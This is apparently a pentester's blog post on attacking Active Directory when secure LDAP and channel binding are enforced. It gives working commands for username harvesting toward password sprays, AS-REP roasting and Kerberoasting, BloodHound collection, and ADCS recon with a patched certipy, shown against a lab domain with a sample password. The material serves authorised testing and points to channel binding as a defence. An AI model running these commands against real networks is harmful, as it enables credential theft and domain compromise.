Pentesting with Secure LDAP and LDAP Channel Binding

rootsecdev
6 min readDec 8, 2023

It’s not often where I encounter secure LDAP that is in use but in this post I am covering initial access and privilege escalation methodologies since some offensive pentesting packages will be broken in this scenario and its extremely important to have a number of methods and toolkits to successfully work around those issues.

The purpose of this post is to break down the following:

  • Situational Awareness
  • LDAP recon over LDAPS
  • Kerberoasting over LDAPS
  • ADCS recon with certipy over LDAPS
  • BloodHound recon over LDAPS

These are some of the most common information that penetration testers are looking for over an LDAP connection. We will tap into each of these issues with common penetration testing tools that are used such as impacket and how we can make plans to over come some of these challenges

Situational Awareness and Detection

LDAP Signing detection on CrackMapExec version 5.4 can be done with the following command below. In Kali linux this is the default verson of CME. I understand there are new versions but in this example I am just using built in out of the box tools that come with Kali linux. It also does not require any initial access credentials to detect and has been reliable and accurate (atleast for me).

crackmapexec ldap <IP> -M ldap-signing

Issue: Extracting LDAP Info from Environment

If you try and extract LDAP information from ldapdomaindump, you will encounter the following error message:

ldapdomaindump -u 'username' -p 'password' --no-json --no-grep <hostname>

Fix: LDAP recon with LDAPPER

You can find the LDAPPER repository on github at the following location:

Installation:

cd /opt
git clone https://github.com/shellster/LDAPPER
virtualenv -p python3 venv
source /venv/bin/activate

Once you have LDAPPER installed (python virtual environment highly recommended) you can now do general recon of the environment. Here are some useful commands to get you off and going.

Grab all samaccountnames in the domain and save them to a list. (Useful in expanding password sprays):

python3 ldapper.py -D 'domain' -U 'user' -P 'pass' --server <dc hostname> --maxrecords 0 --search 1 | grep samaccountname | awk -F':' '{print $2}' > usernames.txt

Grab all samaccountnames and description fields. (Passwords and other useful info can be stored in description fields):

python3 ldapper.py -D 'hacklab.local' -U 'dmurphy' -P 'LetMeIn123!' --server dc1.hacklab.local --maxrecords 0 --search 1 | grep 'samaccountname\|description'

For high privileged group recon such as Domain Admins I prefer CrackMapExec output even though the command routes through SMB.

Recon with CrackMapExec

Get Domain Admins:

crackmapexec smb <ip> -u <username> -p <pass> --groups 'Domain Admins'

Get all administrative accounts and groups:

crackmapexec ldap <ip> -u <username> -p <pass> --admin-count

Get Machine Account Quotas (Create machines. To establish secondary foothold)

crackmapexec ldap <IP> -u <username> -p <PASS> -M MAQ

If you need further docs on the 5.4 version of CrackMapExec, then bookmark this following link:

Issue: Kerberoasting with Impacket

Throwing a basic kerberoast command with impacket to look at SPN’s will be met with a bind error in LDAP. The same goes if you start doing a -request for all SPN records for offline password cracking.

Using LDAPPER for Kerberoasting (recon only):

Accounts with ASREPROAST:

python3 ldapper.py -D 'domain' -U 'username' -P 'password' --server <dc fqdn> --maxrecords 0 --search 8

Find User SPNs:

python3 ldapper.py -D 'domain' -U 'username' -P 'password' --server <dc fqdn> --maxrecords 0 --search 9

Kerberoasting with CrackMapExec

ASREPROAST:

crackmapexec ldap <dc_IP> -u username -p 'password' --asreproast output.txt

Kerberoast:

crackmapexec ldap 172.16.204.2 -u username -p 'password' --kerberoasting krb_output.txt

Enforcing Channel Binding

Enforcing Channel binding will disrupt all the offensive tooling mentioned above. (Atleast anything that is going through LDAP). Below is the setting in group policy that causes the disruption.

Both LDAPPER and and CrackMapExec (ldap) will error out after this change is made.

Next, we will take a look at some alternatives at our disposal to recover from these problems. During the time of this writing I decided to switch over to netexec as its actively maintained. CrackMapExec has gone into archive as of Dec. 6 2023.

Recon

Recon Users with netexec:

netexec smb  172.16.204.2 -u dmurphy -p 'LetMeIn123!' --users | grep hacklab.local | awk '{print $5}' | cut -d'\' -f2-

This will print out a list of users by samaccount name in the AD environment.

Functionality such as group querying with netexec will result in a bind respond error even through our username and password is correct.

Switching over to Windows for Recon

Normally I do SSH tunneling for this. So I am going to skip to the good part where we start off with Sharptools (BloodHound recon and Kerbroasting) and using PowerView after establishing a tunnel over to a Windows VM.

Open an administrative command prompt and type the following:

runas /netonly /user:<domain>\<username> cmd

Kerberoasting with Rubeus

rubeus.exe kerberoast /nowrap

Using SharpHound

SharpHound.exe -c DCOnly -d <domain>

For General recon I strongly reccomend PowerView. It works great over LDAP channel binding enforcement and you can spawn PowerShell from within your command shell.

If you need a good reference for PowerView or if you are unfamiliar with it, the link below is my go to reference.

Reconnaissance of ADCS Certificates with Certipy

While certipy supports secure LDAP, you will more then likely run into issues with using if the target environment is also doing LDAP channel binding.

There is an LDAP3 patch that you will need to apply in order to make certipy work with LDAP channel binding on. I highly recommend you run certipy in a python virtual environment so it does not impact other libraries system wide.

pip3 install git+https://github.com/ly4k/ldap3

Once the patch is installed certipy should work fine for recon and requesting certificates.

certipy find -u <username> -p 'pass' -dc-ip <IP> -scheme ldaps -ldap-channel-binding 

I hope showing these various methods help so that your are not stuggling on things where there is a workaround if you run into this situation.

--

--